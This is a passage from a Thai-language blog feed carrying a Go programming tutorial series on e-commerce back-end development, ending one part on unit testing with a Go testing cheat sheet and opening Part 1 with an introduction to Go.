&#xE22;&#xE31;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE44;&#xE1B;&#xE41;&#xE02;&#xE48;&#xE07; &#xE17;&#xE35;&#xE48;&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; Algorithm &#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE42;&#xE08;&#xE17;&#xE22;&#xE4C;&#xE41;&#xE02;&#xE48;&#xE07;&#xE02;&#xE31;&#xE19;&#xE21;&#xE32;&#xE01; &#xE46; &#xE41;&#xE25;&#xE30;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; Advance Data Structure &#xE41;&#xE25;&#xE30; Advance Algorithm &#xE44;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; Software Developer &#xE17;&#xE35;&#xE48;&#xE14;&#xE35; &#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE14;&#xE49;&#xE27;&#xE22; Grader &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; <strong>Grader &#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE41;&#xE1A;&#xE1A;&#xE1C;&#xE48;&#xE32;&#xE19;/&#xE44;&#xE21;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;</strong> &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE21;&#xE32;&#xE01;&#xE19;&#xE31;&#xE01; <strong>&#xE01;&#xE32;&#xE23;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE40;&#xE1C;&#xE22; Test Case</strong> &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE21;&#xE48;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE1E;&#xE23;&#xE27;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE44;&#xE21;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE2A;&#xE32;&#xE40;&#xE2B;&#xE15;&#xE38;&#xE17;&#xE35;&#xE48;&#xE41;&#xE17;&#xE49;&#xE08;&#xE23;&#xE34;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE41;&#xE1A;&#xE1A;&#xE25;&#xE2D;&#xE07;&#xE1C;&#xE34;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE16;&#xE39;&#xE01;</p><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30;&#xE02;&#xE2D;&#xE07; Software Developer &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;<strong>&#xE04;&#xE27;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE17;&#xE33; Project &#xE08;&#xE23;&#xE34;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;</strong> <strong>&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE21;</strong> &#xE41;&#xE25;&#xE30;<strong>&#xE1D;&#xE36;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE38;&#xE13;&#xE20;&#xE32;&#xE1E;</strong></p><p>&#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Input &#xE41;&#xE25;&#xE30; Output &#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; &#xE41;&#xE25;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32; Program &#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE15;&#xE23;&#xE07;&#xE44;&#xE2B;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; <strong>Positive Test (Happy Path)</strong> &#xE41;&#xE25;&#xE30; <strong>Negative Test</strong> <strong>(Error Case)</strong> &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; Function &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Test Case &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE44;&#xE14;&#xE49;&#xE40;&#xE2D;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE01;&#xE32;&#xE23;&#xE21;&#xE2D;&#xE07;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE08;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE21;&#xE38;&#xE21;&#xE21;&#xE2D;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07; &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE15;&#xE32;&#xE21;&#xE21;&#xE38;&#xE21;&#xE21;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE19;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Test Case &#xE40;&#xE0A;&#xE48;&#xE19;&#xE2D;&#xE32;&#xE08;&#xE32;&#xE23;&#xE22;&#xE4C;&#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08; <strong>Edge Case</strong> &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE44;&#xE21;&#xE48;&#xE1A;&#xE48;&#xE2D;&#xE22; &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE02;&#xE2D;&#xE07; Program &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE19;&#xE04;&#xE48;&#xE32;&#xE27;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE04;&#xE48;&#xE32; nil &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE15;&#xE48;&#xE33;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE04;&#xE32;&#xE14;&#xE04;&#xE34;&#xE14; &#xE08;&#xE36;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE42;&#xE08;&#xE17;&#xE22;&#xE4C;&#xE08;&#xE23;&#xE34;&#xE07;&#xE44;&#xE14;&#xE49;&#xE25;&#xE36;&#xE01;&#xE0B;&#xE36;&#xE49;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30;&#xE01;&#xE32;&#xE23;&#xE04;&#xE34;&#xE14;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Software Developer &#xE04;&#xE23;&#xE31;&#xE1A;</p><h3 id="exercise-6"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Test Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; Multiply</p><p><em><a href="https://forms.gle/PtdZvYCPkxBsyFbh6?ref=blog.pjjop.org"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>10</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></a><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>15<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%94%E0%B8%AA%E0%B8%AD%E0%B8%9A%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99-%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%8A%E0%B8%B4%E0%B8%A1%E0%B8%AD%E0%B8%B2%E0%B8%AB%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B9%80%E0%B8%AA%E0%B8%B4%E0%B8%A3%E0%B9%8C%E0%B8%9F"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet</em></em></em></em></em></em></em></em> </em></em></em></em></em></em></em>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19; : &#xE25;&#xE2D;&#xE07;&#xE0A;&#xE34;&#xE21;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;</em></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;
--------------

1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
   - &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE25;&#xE07;&#xE17;&#xE49;&#xE32;&#xE22;&#xE14;&#xE49;&#xE27;&#xE22; _test.go
   - &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;

2. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Function &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
   func TestXxx(t *testing.T) {
       // Code &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
   }

3. &#xE01;&#xE32;&#xE23; Assert
   if got != want {
       t.Errorf(&quot;&#xE44;&#xE14;&#xE49; %v, &#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; %v&quot;, got, want)
   }

4. &#xE23;&#xE31;&#xE19; Tests
   go test
   go test -v  // &#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;

5. Table-Driven Tests
   tests := []struct {
       input    type
       expected type
   }{
       {input1, expected1},
       {input2, expected2},
   }
   for _, tt := range tests {
       // &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE01;&#xE23;&#xE13;&#xE35;
   }

6. Subtests
   t.Run(&quot;&#xE0A;&#xE37;&#xE48;&#xE2D; subtest&quot;, func(t *testing.T) {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
   })

7. Test Coverage
   go test -cover</code></pre><p>&#xE1E;&#xE1A;&#xE01;&#xE31;&#xE1A; Mastering Golang for E-commerce Back End Development : Part 3 &#xE40;&#xE23;&#xE47;&#xE27; &#xE46; &#xA0;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p>]]></content:encoded></item><item><title><![CDATA[Mastering Golang for E-commerce Back End Development : Part 1]]></title><description><![CDATA[<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-22.png" class="kg-image" alt loading="lazy" width="2000" height="1100" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-22.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-22.png 2254w" sizes="(min-width: 720px) 720px"><figcaption>https://go.dev/solutions/paypal</figcaption></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;</em></p>]]></description><link>https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development/</link><guid isPermaLink="false">669d0f050325e40001ebfd1d</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Thu, 25 Jul 2024 08:00:20 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-22.png" class="kg-image" alt loading="lazy" width="2000" height="1100" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-22.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-22.png 2254w" sizes="(min-width: 720px) 720px"><figcaption>https://go.dev/solutions/paypal</figcaption></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><!--kg-card-begin: html--><hr>
<div align="center"><a href="https://creativecommons.org/licenses/by-nc-nd/4.0/?ref=blog.pjjop.org">This Article on Mastering Golang for E-commerce Back End Development : Part 1, licensed under CC BY-NC-ND</a>
</div>
<hr><!--kg-card-end: html--><p>&#xE43;&#xE19;&#xE22;&#xE38;&#xE04;&#xE14;&#xE34;&#xE08;&#xE34;&#xE17;&#xE31;&#xE25;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE32; Online &#xE40;&#xE15;&#xE34;&#xE1A;&#xE42;&#xE15;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE49;&#xE32;&#xE27;&#xE01;&#xE23;&#xE30;&#xE42;&#xE14;&#xE14; &#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; E-commerce &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27; &#xE41;&#xE25;&#xE30;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE44;&#xE14;&#xE49;&#xE01;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE49;&#xE32;&#xE17;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;</p><p>Go &#xE2B;&#xE23;&#xE37;&#xE2D; Golang &#xE44;&#xE14;&#xE49;&#xE01;&#xE49;&#xE32;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19; Programming Language &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE34;&#xE22;&#xE21;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE39;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE17;&#xE35;&#xE48;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1A;&#xE23;&#xE34;&#xE29;&#xE31;&#xE17;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; Uber, Cloudflare &#xE41;&#xE25;&#xE30; Dropbox</p><figure 